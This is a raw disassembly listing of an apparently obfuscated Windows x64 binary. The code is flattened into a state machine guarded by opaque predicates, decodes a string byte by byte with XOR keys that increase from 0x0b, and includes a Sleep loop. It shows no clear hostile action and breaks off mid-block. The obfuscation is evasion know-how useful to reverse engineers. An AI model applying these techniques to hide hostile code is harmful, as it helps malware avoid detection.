cmp eax, 0xe9738f9d
je 0x140022ec9
cmp eax, 0x8e514f33
jne 0x140022d87
sub rsp, 0x20
mov rcx, rbp
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x1e8]
cmp ecx, 0xa
setl byte [rbp + 0x190]
mov eax, 0xc7dc8da9
cmp eax, 0x354e3b8b
jg 0x140022e21
cmp eax, 0xa1dae94d
je 0x140022e5d
cmp eax, 0xb5ee369a
je 0x140022e7e
cmp eax, 0xc7dc8da9
jne 0x140022dd9
movzx ecx, byte [rbp + 0x1e8]
movzx eax, byte [rbp + 0x190]
mov edx, ecx
xor dl, al
mov edx, 0xb5ee369a
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test cl, cl
cmove eax, edx
jmp 0x140022dd9
cmp eax, 0x354e3b8c
je 0x140022d82
cmp eax, 0x559d78c6
je 0x140022e88
cmp eax, 0x66202512
jne 0x140022dd9
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x1b0]
cmp eax, 0x51eaacfe
je 0x140022e56
cmp eax, 0x89bfb55a
jne 0x140022e46
jmp 0x140022e67
mov eax, 0x89bfb55a
jmp 0x140022e46
mov eax, 0x66202512
jmp 0x140022dd9
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x140022dd9
mov eax, 0x559d78c6
jmp 0x140022dd9
mov rax, rbp
mov qword [rbp + 0x1b0], rax
mov eax, dword [0x1402b5af0]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xb5ee369a
cmove eax, r14d
cmp dword [0x1402b5af4], 0xa
cmovge eax, ebx
setl dl
xor dl, cl
cmovne eax, r14d
jmp 0x140022dd9
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, al
jne 0x140022ef4
xor cl, al
jne 0x140022ef4
jmp 0x140022ef2
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400285e0
add rsp, 0x20
sub rsp, 0x20
lea rdx, [0x14029c05a]
mov rcx, rax
call fcn.140002110
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete dl
setne al
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x140022f51
or cl, al
jne 0x140022f94
jmp 0x140022f51
sub rsp, 0x20
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete dl
cmp dword [0x1402b5cac], 0xa
setge cl
setl r8b
xor r8b, dl
jne 0x140022fa9
or cl, al
je 0x140022fa9
sub rsp, 0x20
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
jmp 0x140022f51
mov qword [rbp + 0x120], rsp
mov eax, dword [0x1402b5c90]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5c94], 0xa
setl cl
or cl, al
mov eax, 0x30b87c25
mov edx, 0x6c0033be
cmove eax, edx
mov ecx, 0xada74995
cmove ecx, edx
mov edx, 0x23af8f4c
jmp 0x140022ff1
mov edx, ecx
cmp edx, 0x23af8f4b
jle 0x140023018
cmp edx, 0x23af8f4c
je 0x140022fef
cmp edx, 0x30b87c25
je 0x14002303a
cmp edx, 0x6c0033be
jne 0x140022ff1
mov edx, 0xada74995
jmp 0x140022ff1
cmp edx, 0x831a9ead
je 0x140023041
cmp edx, 0xada74995
jne 0x140022ff1
lea rdx, [0x14029b96d]
mov qword [rbp + 0x168], rdx
mov edx, eax
jmp 0x140022ff1
mov edx, 0x831a9ead
jmp 0x140022ff1
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], rax
mov eax, 0x8e0c9618
mov r9d, 0x9209573
mov r10d, 0xe804e5f4
mov r11d, 0x65935c71
cmp eax, 0x2b52139c
je 0x140025b13
cmp eax, 0x8e0c9618
jne 0x14002306d
mov qword [rbp + 0x128], rsp
mov rcx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x178]
movzx eax, byte [rbp + 0x130]
mov eax, dword [0x1402b5c98]
mov edx, dword [0x1402b5c9c]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete byte [rbp + 0x188]
cmp edx, 0xa
setl byte [rbp + 0x1e0]
mov eax, 0x2a0c6e60
jmp 0x140023107
mov eax, dword [0x1402b5c98]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0x5aba48f0
mov esi, 0x352d2928
cmove eax, esi
cmp dword [0x1402b5c9c], 0xa
mov edi, 0x5aba48f0
cmovge eax, edi
setl bl
xor bl, dl
cmovne eax, esi
cmp eax, 0x352d2927
jg 0x140023178
cmp eax, 0x2a0c6e5f
jle 0x1400231b9
cmp eax, 0x2a0c6e60
je 0x140025ac0
cmp eax, 0x2ccc413b
jne 0x140025af0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov rbx, rsp
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + 0x180]
mov qword [rax], r8
mov qword [rbp + 0x1d0], rcx
mov rsi, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx edx, byte [rax]
mov eax, 0x9c6a156
jmp 0x14002325c
cmp eax, 0x53df21fb
jg 0x1400231e6
cmp eax, 0x352d2928
je 0x1400246f9
cmp eax, 0x4fef4114
jne 0x140023107
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rsi, rsp
mov rbx, rsp
mov qword [rsi], r8
movzx r15d, byte [r8]
mov eax, 0x9c6a156
jmp 0x14002340f
cmp eax, 0xc55c03d3
je 0x1400230cc
cmp eax, 0x3a8cfc5
jne 0x140023107
mov rsi, rsp
mov rax, qword [rbp + 0x1e8]
movzx edx, byte [rax]
mov eax, 0x9c6a156
jmp 0x140023339
cmp eax, 0x53df21fc
je 0x14002473e
cmp eax, 0x5aba48f0
jne 0x140023107
mov eax, 0x352d2928
jmp 0x140023107
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete dil
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x1400232c4
cmp eax, 0x65935c71
je 0x140023206
cmp eax, 0x10a09de6
je 0x140023488
cmp eax, 0x9c6a156
jne 0x14002325c
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r15d, [rax + 1]
imul r15d, eax
mov eax, r15d
xor eax, 0xfffffffe
test eax, r15d
sete r14b
cmp edi, 0xa
setl r12b
xor r12b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r11d
test eax, r15d
mov eax, r14d
cmove eax, r11d
cmp edi, 0xa
cmovge eax, r14d
jmp 0x14002325c
cmp eax, 0xe804e5f4
je 0x1400232d9
cmp eax, 0x9209573
jne 0x14002325c
mov eax, 0x10a09de6
jmp 0x14002325c
mov eax, 0x65935c71
jmp 0x14002325c
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete bl
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, bl
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x140023390
cmp eax, 0x65935c71
je 0x1400232e3
cmp eax, 0x10a09de6
je 0x140024748
cmp eax, 0x9c6a156
jne 0x140023339
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete bl
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, bl
cmovne eax, r11d
jmp 0x140023339
cmp eax, 0xe804e5f4
je 0x1400233a5
cmp eax, 0x9209573
jne 0x140023339
mov eax, 0x10a09de6
jmp 0x140023339
mov eax, 0x65935c71
jmp 0x140023339
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], r15b
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp edx, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r9d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r9d
cmp edx, 0xa
cmovge eax, r14d
cmp eax, 0x9c6a155
jle 0x14002346c
cmp eax, 0x65935c71
je 0x1400233ac
cmp eax, 0x10a09de6
je 0x140024973
cmp eax, 0x9c6a156
jne 0x14002340f
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp edx, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r11d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r11d
jmp 0x140023408
cmp eax, 0xe804e5f4
je 0x140023481
cmp eax, 0x9209573
jne 0x14002340f
mov eax, 0x10a09de6
jmp 0x14002340f
mov eax, 0x65935c71
jmp 0x14002340f
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0xb
mov rsp, rbx
mov rbx, rsp
mov byte [rsi], al
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx edx, byte [rax + 1]
mov eax, 0x9c6a156
jmp 0x140023507
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete dil
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x14002356b
cmp eax, 0x65935c71
je 0x1400234b1
cmp eax, 0x10a09de6
je 0x140023587
cmp eax, 0x9c6a156
jne 0x140023507
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
mov eax, r14d
xor eax, 0xfffffffe
test eax, r14d
sete r15b
cmp edi, 0xa
setl r12b
xor r12b, r15b
mov r15d, 0xe804e5f4
cmovne r15d, r11d
test eax, r14d
mov eax, r15d
cmove eax, r11d
cmp edi, 0xa
cmovge eax, r15d
jmp 0x140023507
cmp eax, 0xe804e5f4
je 0x140023580
cmp eax, 0x9209573
jne 0x140023507
mov eax, 0x10a09de6
jmp 0x140023507
mov eax, 0x65935c71
jmp 0x140023507
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0xc
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 1], al
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx edx, byte [rax + 2]
mov eax, 0x9c6a156
jmp 0x140023608
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete dil
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x14002366e
cmp eax, 0x65935c71
je 0x1400235b1
cmp eax, 0x10a09de6
je 0x14002368d
cmp eax, 0x9c6a156
jne 0x140023608
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete al
cmp edi, 0xa
setl r15b
xor r15b, al
mov r15d, 0xe804e5f4
cmovne r15d, r11d
cmp r14d, 0xffffffff
mov eax, r15d
cmove eax, r11d
cmp edi, 0xa
cmovge eax, r15d
jmp 0x140023608
cmp eax, 0xe804e5f4
je 0x140023683
cmp eax, 0x9209573
jne 0x140023608
mov eax, 0x10a09de6
jmp 0x140023608
mov eax, 0x65935c71
jmp 0x140023608
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0xd
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 2], al
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx edx, byte [rax + 3]
mov eax, 0x9c6a156
jmp 0x14002371f
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax - 1]
imul r14d, eax
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete al
cmp edi, 0xa
setl r15b
xor r15b, al
mov r15d, 0xe804e5f4
cmovne r15d, r9d
cmp r14d, 0xffffffff
mov eax, r15d
cmove eax, r9d
cmp edi, 0xa
cmovge eax, r15d
cmp eax, 0x9c6a155
jle 0x140023774
cmp eax, 0x65935c71
je 0x1400236b7
cmp eax, 0x10a09de6
je 0x140023790
cmp eax, 0x9c6a156
jne 0x14002371f
mov eax, dword [0x1402b5ca0]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete dil
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r11d
jmp 0x14002371f
cmp eax, 0xe804e5f4
je 0x140023789
cmp eax, 0x9209573
jne 0x14002371f
mov eax, 0x10a09de6
jmp 0x14002371f
mov eax, 0x65935c71
jmp 0x14002371f
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0xe
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 3], al
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx edx, byte [rax + 4]
mov eax, 0x9c6a156
jmp 0x140023820
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
mov eax, r14d
xor eax, 0xfffffffe
test eax, r14d
sete r15b
cmp edi, 0xa
setl r12b
xor r12b, r15b
mov r15d, 0xe804e5f4
cmovne r15d, r9d
test eax, r14d
mov eax, r15d
cmove eax, r9d
cmp edi, 0xa
cmovge eax, r15d
cmp eax, 0x9c6a155
jle 0x140023874
cmp eax, 0x65935c71
je 0x1400237ba
cmp eax, 0x10a09de6
je 0x140023890
cmp eax, 0x9c6a156
jne 0x140023820
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete dil
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r11d
jmp 0x140023820
cmp eax, 0xe804e5f4
je 0x140023889
cmp eax, 0x9209573
jne 0x140023820
mov eax, 0x10a09de6
jmp 0x140023820
mov eax, 0x65935c71
jmp 0x140023820
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0xf
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 4], al
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx r15d, byte [rax + 5]
mov eax, 0x9c6a156
jmp 0x14002391d
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], r15b
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp edx, 0xa
setl r12b
xor r12b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r9d
test eax, edi
mov eax, r14d
cmove eax, r9d
cmp edx, 0xa
cmovge eax, r14d
cmp eax, 0x9c6a155
jle 0x140023976
cmp eax, 0x65935c71
je 0x1400238bb
cmp eax, 0x10a09de6
je 0x140023992
cmp eax, 0x9c6a156
jne 0x14002391d
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp edx, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r11d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r11d
jmp 0x140023916
cmp eax, 0xe804e5f4
je 0x14002398b
cmp eax, 0x9209573
jne 0x14002391d
mov eax, 0x10a09de6
jmp 0x14002391d
mov eax, 0x65935c71
jmp 0x14002391d
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x10
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 5], al
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx edx, byte [rax + 6]
mov eax, 0x9c6a156
jmp 0x140023a13
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete dil
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x140023a77
cmp eax, 0x65935c71
je 0x1400239bc
cmp eax, 0x10a09de6
je 0x140023a93
cmp eax, 0x9c6a156
jne 0x140023a13
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
mov eax, r14d
xor eax, 0xfffffffe
test eax, r14d
sete r15b
cmp edi, 0xa
setl r12b
xor r12b, r15b
mov r15d, 0xe804e5f4
cmovne r15d, r11d
test eax, r14d
mov eax, r15d
cmove eax, r11d
cmp edi, 0xa
cmovge eax, r15d
jmp 0x140023a13
cmp eax, 0xe804e5f4
je 0x140023a8c
cmp eax, 0x9209573
jne 0x140023a13
mov eax, 0x10a09de6
jmp 0x140023a13
mov eax, 0x65935c71
jmp 0x140023a13
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x11
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 6], al
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx edx, byte [rax + 7]
mov eax, 0x9c6a156
jmp 0x140023b23
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
mov eax, r14d
xor eax, 0xfffffffe
test eax, r14d
sete r15b
cmp edi, 0xa
setl r12b
xor r12b, r15b
mov r15d, 0xe804e5f4
cmovne r15d, r9d
test eax, r14d
mov eax, r15d
cmove eax, r9d
cmp edi, 0xa
cmovge eax, r15d
cmp eax, 0x9c6a155
jle 0x140023b77
cmp eax, 0x65935c71
je 0x140023abd
cmp eax, 0x10a09de6
je 0x140023b93
cmp eax, 0x9c6a156
jne 0x140023b23
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete dil
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r11d
jmp 0x140023b23
cmp eax, 0xe804e5f4
je 0x140023b8c
cmp eax, 0x9209573
jne 0x140023b23
mov eax, 0x10a09de6
jmp 0x140023b23
mov eax, 0x65935c71
jmp 0x140023b23
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x12
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 7], al
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx edx, byte [rax + 8]
mov eax, 0x9c6a156
jmp 0x140023c25
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete al
cmp edi, 0xa
setl r15b
xor r15b, al
mov r15d, 0xe804e5f4
cmovne r15d, r9d
cmp r14d, 0xffffffff
mov eax, r15d
cmove eax, r9d
cmp edi, 0xa
cmovge eax, r15d
cmp eax, 0x9c6a155
jle 0x140023c7a
cmp eax, 0x65935c71
je 0x140023bbd
cmp eax, 0x10a09de6
je 0x140023c96
cmp eax, 0x9c6a156
jne 0x140023c25
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete dil
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r11d
jmp 0x140023c25
cmp eax, 0xe804e5f4
je 0x140023c8f
cmp eax, 0x9209573
jne 0x140023c25
mov eax, 0x10a09de6
jmp 0x140023c25
mov eax, 0x65935c71
jmp 0x140023c25
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x13
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 8], al
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx edx, byte [rax + 9]
mov eax, 0x9c6a156
jmp 0x140023d26
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
mov eax, r14d
xor eax, 0xfffffffe
test eax, r14d
sete r15b
cmp edi, 0xa
setl r12b
xor r12b, r15b
mov r15d, 0xe804e5f4
cmovne r15d, r9d
test eax, r14d
mov eax, r15d
cmove eax, r9d
cmp edi, 0xa
cmovge eax, r15d
cmp eax, 0x9c6a155
jle 0x140023d83
cmp eax, 0x65935c71
je 0x140023cc0
cmp eax, 0x10a09de6
je 0x140023d9f
cmp eax, 0x9c6a156
jne 0x140023d26
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
mov eax, r14d
xor eax, 0xfffffffe
test eax, r14d
sete r15b
cmp edi, 0xa
setl r12b
xor r12b, r15b
mov r15d, 0xe804e5f4
cmovne r15d, r11d
test eax, r14d
mov eax, r15d
cmove eax, r11d
jmp 0x140023d1f
cmp eax, 0xe804e5f4
je 0x140023d98
cmp eax, 0x9209573
jne 0x140023d26
mov eax, 0x10a09de6
jmp 0x140023d26
mov eax, 0x65935c71
jmp 0x140023d26
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x14
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 9], al
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx edx, byte [rax + 0xa]
mov eax, 0x9c6a156
jmp 0x140023e20
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete dil
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x140023e86
cmp eax, 0x65935c71
je 0x140023dc9
cmp eax, 0x10a09de6
je 0x140023ea5
cmp eax, 0x9c6a156
jne 0x140023e20
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete al
cmp edi, 0xa
setl r15b
xor r15b, al
mov r15d, 0xe804e5f4
cmovne r15d, r11d
cmp r14d, 0xffffffff
mov eax, r15d
cmove eax, r11d
cmp edi, 0xa
cmovge eax, r15d
jmp 0x140023e20
cmp eax, 0xe804e5f4
je 0x140023e9b
cmp eax, 0x9209573
jne 0x140023e20
mov eax, 0x10a09de6
jmp 0x140023e20
mov eax, 0x65935c71
jmp 0x140023e20
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x15
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 0xa], al
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx edx, byte [rax + 0xb]
mov eax, 0x9c6a156
jmp 0x140023f26
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete dil
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x140023f8c
cmp eax, 0x65935c71
je 0x140023ecf
cmp eax, 0x10a09de6
je 0x140023fab
cmp eax, 0x9c6a156
jne 0x140023f26
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete al
cmp edi, 0xa
setl r15b
xor r15b, al
mov r15d, 0xe804e5f4
cmovne r15d, r11d
cmp r14d, 0xffffffff
mov eax, r15d
cmove eax, r11d
cmp edi, 0xa
cmovge eax, r15d
jmp 0x140023f26
cmp eax, 0xe804e5f4
je 0x140023fa1
cmp eax, 0x9209573
jne 0x140023f26
mov eax, 0x10a09de6
jmp 0x140023f26
mov eax, 0x65935c71
jmp 0x140023f26
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x16
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 0xb], al
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx r15d, byte [rax + 0xc]
mov eax, 0x9c6a156
jmp 0x140024039
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], r15b
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp edx, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r9d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r9d
cmp edx, 0xa
cmovge eax, r14d
cmp eax, 0x9c6a155
jle 0x140024091
cmp eax, 0x65935c71
je 0x140023fd6
cmp eax, 0x10a09de6
je 0x1400240ad
cmp eax, 0x9c6a156
jne 0x140024039
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
